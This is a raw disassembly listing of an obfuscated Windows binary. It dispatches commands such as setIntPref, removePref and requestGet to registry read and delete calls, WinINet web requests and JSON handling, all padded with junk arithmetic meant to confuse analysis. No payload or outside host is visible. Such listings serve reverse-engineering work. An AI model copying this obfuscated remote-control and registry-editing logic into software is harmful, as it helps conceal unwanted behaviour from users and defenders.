call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006dac5
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006daf6
mov rdx, qword [rsp + 0x600]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x1400708d0
movzx eax, byte [rsp + 0x50]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x1400708d0
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006e0c2
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 9
jne 0x14006dbc3
mov eax, dword [str.hhStNw]
mov dword [rsp + 0x158], eax
movzx eax, word [0x1401654b8]
mov word [rsp + 0x15c], ax
movzx eax, byte [0x1401654ba]
mov byte [rsp + 0x15e], al
lea rax, [rsp + 0x158]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14006db96
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d68e8
mov qword [rsp + 0xb08], rax
mov rcx, rax
call fcn.1400d834c
lea rdx, [0x1401679a0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xf60], rax
lea rdx, [0x1401679a8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb18], rax
cmp byte [rax + 8], 4
jne 0x14006e0aa
lea rdx, [0x1401679b0]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xdb8], rax
lea rdx, [0x1401679b8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb28], rax
cmp byte [rax + 8], 4
jne 0x14006e0aa
lea rdx, [0x140167980]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xfc0], rax
lea rdx, [0x140167988]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb38], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x14006dc7b
cmp cl, 5
jne 0x14006e0aa
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x228], rdi
lea rdx, [0x140167990]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xdc8], rax
lea rdx, [0x140167998]
mov rcx, rax
call fcn.14003f9d0
test al, al
je 0x14006df10
lea rdx, [0x1401679e8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xb48], rax
lea rdx, [0x1401679f0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xf70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb58], rdx
lea rcx, [rsp + 0x380]
call fcn.140003890
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x228], rbx
lea rdx, [0x1401679f8]
lea rcx, [rsp + 0x380]
call fcn.140003cf0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x228], rbx
mov eax, dword [0x1401ddd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 9
jne 0x14006dd76
call fcn.1400d7b94
mov ecx, dword [0x1401ddd80]
cmp ecx, eax
jne 0x14006dd76
dec ecx
mov dword [0x1401ddd80], ecx
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006dda7
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x228]
test rbx, rbx
je 0x14006df10
lea rdx, [0x140167a4c]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xdd8], rax
lea rdx, [0x140167a58]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xb68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xff0], rdx
lea rcx, [rsp + 0x3c0]
call fcn.140003890
nop
lea rdx, [0x140167a10]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xb78], rax
lea rdx, [0x140167a18]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xde8], rax
mov rcx, rax
call fcn.14003f020
mov dword [rsp + 0x250], eax
lea rdx, [0x140167a20]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xb88], rax
lea rdx, [0x140167a28]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xf80], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb98], rdx
lea rcx, [rsp + 0x310]
call fcn.140003890
nop
mov r9, rbx
lea r8, [rsp + 0x3c0]
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x310]
call fcn.1400508b0
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006dedf
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e08b
mov rdx, qword [rsp + 0x630]
jmp 0x14006e082
lea rax, [rsp + 0x640]
mov qword [rsp + 0xdf8], rax
lea rdx, [0x1401679c4]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xba8], rax
lea rdx, [0x1401679d0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xfd0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbb8], rdx
lea rcx, [rsp + 0x390]
call fcn.140003890
nop
lea rdx, [0x140167a34]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe08], rax
lea rdx, [0x140167a40]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf90], rdx
lea rcx, [rsp + 0x320]
call fcn.140003890
nop
lea rdx, [0x1401653a4]
lea rcx, [rsp + 0x640]
call fcn.1400025b0
mov rbx, rax
lea rdx, [0x1401679d8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbd8], rax
lea rdx, [0x1401679e0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xe18], rax
mov rcx, rax
call fcn.14003f020
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401d8d48]
lea r8, [rsp + 0x390]
lea rcx, [rsp + 0x320]
call fcn.140051540
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e05a
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e08b
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x14006e0aa
movzx eax, byte [rsp + 0x52]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
call fcn.14006aed0
test al, al
jne 0x1400708d0
inc dword [0x1401dfb98]
jmp 0x1400708d0
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006e85d
lea rdx, [0x140167aa8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbe8], rax
lea rdx, [0x140167ab0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xff8], rax
cmp byte [rax + 8], 4
jne 0x1400708d0
lea rdx, [0x140167ab8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xbf8], rax
lea rdx, [0x140167a60]
mov rcx, rax
call fcn.14003f9d0
lea rcx, [rsp + 0x58]
test al, al
je 0x14006e651
lea rdx, [0x140167a68]
call fcn.14003f690
mov qword [rsp + 0xe28], rax
lea rdx, [0x140167a70]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc08], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfa0], rdx
lea rcx, [rsp + 0x248]
call fcn.140003890
nop
mov rbx, qword [r13 + 0x50]
lea rdx, [0x140167a78]
lea rcx, [rsp + 0x248]
call fcn.140003cf0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc18], rbx
lea rdx, [0x140167ad4]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe38], rax
lea rdx, [0x140167ae0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfe0], rdx
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x14006e303
test r12, r12
je 0x14006e238
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e26a
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e299
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006e2b1
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
lea rdx, [0x140167ae8]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xc38], rax
lea rdx, [0x140167af0]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xe48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc48], rdx
lea rcx, [rsp + 0x330]
call fcn.140003890
nop
mov rdx, qword [rsp + 0x330]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x688], eax
mov rcx, qword [rsp + 0x238]
test eax, eax
jne 0x14006e4d7
lea rdx, [0x1401653bc]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xe8], eax
test eax, eax
jne 0x14006e45e
mov r8d, dword [0x1401ddd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 1
jne 0x14006e406
mov eax, 0xac
mov dword [rsp + 0x290], eax
mov r8d, 0xb2
mov dword [rsp + 0x1f8], r8d
nop
test eax, eax
je 0x14006e3fc
test r8d, r8d
je 0x14006e3fc
mov ecx, r8d
mov dword [rsp + 0x488], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x1f8], edx
mov eax, ecx
mov dword [rsp + 0x290], ecx
jmp 0x14006e3d0
add r8d, eax
mov dword [0x1401ddd80], r8d
test r12, r12
je 0x14006e41b
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
imul r8d, r8d
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0x12
jne 0x14006e5b1
mov edx, 0xe9
lea r8d, [rdx + 1]
lea rcx, [0x1401657f4]
call fcn.1400d7c60
jmp 0x14006e5b1
test r12, r12
je 0x14006e472
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov r8d, dword [0x1401ddd80]
lea r9d, [r8 + 1]
lea ecx, [r8 + 2]
imul ecx, r9d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 2
jne 0x14006e5b1
test r8d, r8d
je 0x14006e4c8
dec r8d
je 0x14006e4bd
mov dword [0x1401ddd80], r9d
jmp 0x14006e5b1
mov dword [0x1401ddd80], edi
jmp 0x14006e5b1
mov dword [0x1401ddd80], 2
jmp 0x14006e5b1
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov r9d, eax
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x14006e55b
mov r8d, dword [0x1401ddd80]
lea r10d, [r8 + 1]
lea ecx, [r8 + 2]
imul ecx, r10d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 9
jne 0x14006e545
test r8d, r8d
je 0x14006e53b
dec r8d
je 0x14006e533
mov dword [0x1401ddd80], r10d
jmp 0x14006e545
mov dword [0x1401ddd80], edi
jmp 0x14006e545
mov dword [0x1401ddd80], 2
test r12, r12
je 0x14006e5b1
mov dword [r12 + 8], r9d
mov eax, 0x16
mov word [r12], ax
jmp 0x14006e5b1
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x12
jne 0x14006e59c
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test r12, r12
je 0x14006e5b1
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x330]
call fcn.140002650
nop
lea rcx, [rsp + 0x248]
call fcn.140002650
nop
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006e5ff
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1a
lea rdx, [0x140167ac0]
call fcn.14003f690
mov qword [rsp + 0xfb0], rax
lea rdx, [0x140167ac8]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc58], rax
cmp byte [rax + 8], 4
jne 0x14006e77a
lea rdx, [0x140167b10]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0xe58], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0xc68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf50], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140003890
nop
lea rdx, [0x1401657fc]
lea rcx, [rsp + 0x340]
call fcn.1400025b0
nop
lea rdx, [0x140167b24]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x890], rax
lea rdx, [0x140167b00]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x8a0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8b0], rdx
lea rcx, [rsp + 0x3e0]
call fcn.140003890
nop
lea r8, [rsp + 0x3a0]
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3e0]
call fcn.14004f7a0
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x3e0]
call fcn.140002650
nop
lea rcx, [rsp + 0x340]
call fcn.140002650
nop
lea rcx, [rsp + 0x3a0]
jmp 0x14006e835
lea rdx, [0x1401654a4]
lea rcx, [rsp + 0x2b8]
call fcn.1400025b0
nop
lea rdx, [0x1401654bc]
lea rcx, [rsp + 0x2a8]
call fcn.1400025b0
nop
lea rdx, [0x140167b08]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x8c0], rax
lea rdx, [0x140167b50]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x8d0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8e0], rdx
lea rcx, [rsp + 0x350]
call fcn.140003890
nop
lea r8, [rsp + 0x2b8]
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x350]
call fcn.14004f7a0
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x350]
call fcn.140002650
nop
lea rcx, [rsp + 0x2a8]
call fcn.140002650
nop
lea rcx, [rsp + 0x2b8]
call fcn.140002650
test r12, r12
je 0x1400708d0
neg bl
sbb ax, ax
mov word [r12 + 8], ax
mov esi, 0xb
mov word [r12], si
jmp 0x1400708d0
lea rdx, [0x140167b58]
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
je 0x14006fbd0
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
je 0x14006fbd0
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006f04f
mov ecx, dword [0x1401ddd80]
imul ecx, ecx
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
mov eax, dword [rsp + 0x1000]
cmp ecx, 2
cmove eax, edi
mov dword [rsp + 0x1000], eax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [0x14016587c]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
mov qword [rsp + 0x8f0], rax
mov r9d, dword [0x1401ddd80]
mov r8d, r9d
imul r8d, r9d
imul r8d, r9d
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0x12
jne 0x14006e9d8
mov r8d, edi
mov dword [rsp + 0x208], edi
test r9d, r9d
je 0x14006e9d8
inc r8d
mov dword [rsp + 0x208], r8d
mov eax, r9d
and eax, 0x80000001
jge 0x14006e969
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006e980
mov eax, r9d
cdq
sub eax, edx
sar eax, 1
mov r9d, eax
mov dword [0x1401ddd80], eax
jmp 0x14006e98f
lea r9d, [r9*2 + 1]
mov dword [0x1401ddd80], r9d
mov eax, 0x55555556
imul r9d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r9d
sub ecx, eax
je 0x14006e9b3
sub ecx, 2
je 0x14006e9be
dec ecx
je 0x14006e9c8
jmp 0x14006e9d3
add r9d, 2
mov dword [0x1401ddd80], r9d
inc r9d
mov dword [0x1401ddd80], r9d
add r9d, 2
mov dword [0x1401ddd80], r9d
jmp 0x14006e944
lea rdx, [0x140167c68]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x900], rax
lea rdx, [0x14016588c]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x910], rax
cmp byte [rax + 8], 4
jne 0x14006efcb
test r13, r13
je 0x14006efcb
lea rdx, [0x140167c70]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x920], rax
lea rdx, [0x14016584c]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x930], rax
lea rdx, [rsp + 0x1810]
mov rcx, rax
call fcn.14003ed90
mov qword [rsp + 0x940], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006ea6d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140003890
nop
cmp qword [rsp + 0x1828], 0x10
jb 0x14006ea96
mov rcx, qword [rsp + 0x1810]
call fcn.1400d7280
mov qword [rsp + 0x1828], 0xf
mov qword [rsp + 0x1820], rdi
mov byte [rsp + 0x1810], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa0]
call fcn.1400108a0
mov ebx, eax
mov dword [rsp + 0x260], eax
test eax, eax
jle 0x14006eb8e
add ebx, 6
mov dword [rsp + 0x260], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa0]
call fcn.1400d9b88
mov qword [rsp + 0x950], rax
test rax, rax
jne 0x14006eb08
mov eax, r15d
jmp 0x14006eb13
sub rax, qword [rsp + 0xa0]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0xa0]
call fcn.1400108f0
mov qword [rsp + 0x960], rax
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1400026d0
nop
lea rcx, [rsp + 0x690]
call fcn.140002650
lea rdx, str.js_code
lea rcx, [rsp + 0x2c8]
call fcn.140003890
nop
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xa0]
call fcn.14001ee10
nop
lea rcx, [rsp + 0x2c8]
call fcn.140002650
xor edx, edx
lea rcx, [rsp + 0x408]
call fcn.14003e8c0
nop
lea rdx, [0x14016590c]
lea rcx, [rsp + 0xe90]
call fcn.14003e9a0
nop
lea rdx, [0x140165904]
lea rcx, [rsp + 0x408]
call fcn.14003f690
mov rcx, rax
lea rdx, [rsp + 0xe90]
call fcn.14003ed00
nop
lea rcx, [rsp + 0xe90]
call fcn.14003ec50
lea rdx, [0x140167c9c]
lea rcx, [rsp + 0x58]
call fcn.14003f690
mov qword [rsp + 0x970], rax
lea rdx, [0x1401659b4]
mov rcx, rax
call fcn.14003f690
mov qword [rsp + 0x980], rax
lea rdx, [rsp + 0x1970]
mov rcx, rax
call fcn.14003ed90
nop
mov rdx, rax
lea rcx, [rsp + 0xeb0]
call fcn.14003ea30
nop
lea rdx, [0x140165944]
lea rcx, [rsp + 0x408]
call fcn.14003f690
mov rcx, rax
lea rdx, [rsp + 0xeb0]
call fcn.14003ed00
nop
lea rcx, [rsp + 0xeb0]
call fcn.14003ec50
nop
lea rcx, [rsp + 0x1970]
call fcn.1400013b0
lea rdx, [0x1401658b4]
lea rcx, [rsp + 0xed0]
call fcn.14003e9a0
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x408]
call fcn.14003f690
mov rcx, rax
lea rdx, [rsp + 0xed0]
call fcn.14003f9a0
nop
lea rcx, [rsp + 0xed0]
call fcn.14003ec50
lea rdx, [0x1401658c4]
lea rcx, [rsp + 0xef0]
call fcn.14003e9a0
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x408]
call fcn.14003f690
mov rcx, rax
lea rdx, [rsp + 0xef0]
call fcn.14003ed00
nop
lea rcx, [rsp + 0xef0]
call fcn.14003ec50
mov eax, dword [0x1401ddd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xe
jne 0x14006ed7a
mov ecx, 0x28
call fcn.1400d68e8
mov rsi, rax
mov qword [rsp + 0x990], rax
mov ebx, edi
mov dword [rsp + 0x170], ebx
cmp ebx, 0xa
jge 0x14006ed69
call fcn.1400d7b94
add eax, dword [0x1401ddd80]
movsxd rcx, ebx
mov dword [rsi + rcx*4], eax
inc ebx
jmp 0x14006ed48
mov eax, dword [rsi + 0x24]
mov dword [0x1401ddd80], eax
mov rcx, rsi
call fcn.1400d834c
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xf10]
call fcn.14003e9a0
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x408]
call fcn.14003f690
mov rcx, rax
lea rdx, [rsp + 0xf10]
call fcn.14003ed00
nop
lea rcx, [rsp + 0xf10]
call fcn.14003ec50
mov qword [rsp + 0x6a0], rdi
lea r9, [rsp + 0x408]
lea r8, [rsp + 0x6a0]
mov rdx, r13
lea rcx, [rsp + 0xf30]
call fcn.1400346e0
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r12, r12
je 0x14006eeef
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x17a0], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x17a0], rax
mov qword [rsp + 0x17b8], rdi
mov qword [rsp + 0x17c0], rdi
mov qword [rsp + 0x17c0], 0xf
mov qword [rsp + 0x17b8], rdi
mov byte [rsp + 0x17a8], 0
mov byte [rsp + 0x17c8], 0
lea r8, [rsp + 0xf30]
lea rdx, [rsp + 0x1950]
lea rcx, [rsp + 0x17a0]
call fcn.140041f80
mov qword [rsp + 0x9a0], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006ee7d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2d8]
call fcn.140003890
nop
lea rcx, [rsp + 0x1950]
call fcn.1400013b0
mov rcx, qword [rsp + 0x2d8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x87c], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x9b0], rax
test rax, rax
jne 0x14006eec5
call fcn.140002950
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0x2d8]
call fcn.140002650
nop
lea rcx, [rsp + 0x17a0]
call fcn.14000b7e0
mov r10d, dword [0x1401ddd80]
mov ecx, r10d
imul ecx, r10d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 6
jne 0x14006ef9d
mov ebx, edi
mov dword [rsp + 0x198], ebx
cmp ebx, 8
jge 0x14006ef9d
mov r9d, edi
mov dword [rsp + 0x190], edi
cmp r9d, 0xa
jge 0x14006ef99
lea esi, [r9 + 1]
lea ecx, [rbx + 1]
mov eax, r10d
cdq
idiv ecx
mov r8d, edx
mov ecx, r10d
sub ecx, ebx
imul r8d, ecx
mov eax, r10d
cdq
idiv esi
add r8d, eax
sub r8d, r9d
movsxd rax, ebx
lea rcx, [rax + rax*4]
movsxd rax, r9d
lea rcx, [rax + rcx*2]
mov dword [rsp + rcx*4 + 0x1a40], r8d
mov edx, r8d
lea rcx, [0x1401659f4]
call fcn.1400d7c60
mov r9d, esi
mov dword [rsp + 0x190], esi
mov r10d, dword [0x1401ddd80]
jmp 0x14006ef36
inc ebx
jmp 0x14006ef20
lea rcx, [rsp + 0xf30]
call fcn.14003ec50
nop
lea rcx, [rsp + 0x408]
call fcn.14003ec50
nop
lea rcx, [rsp + 0xa0]
call fcn.140002650
jmp 0x1400708d0
test r12, r12
je 0x14006efe0
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14006f003
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1a
lea rdx, str.NVP_IsSupported
lea rcx, [rsp + 0x48]
call fcn.140003cf0
test eax, eax
jne 0x14006f082
test r12, r12
je 0x1400708d0
mov word [r12 + 8], r15w
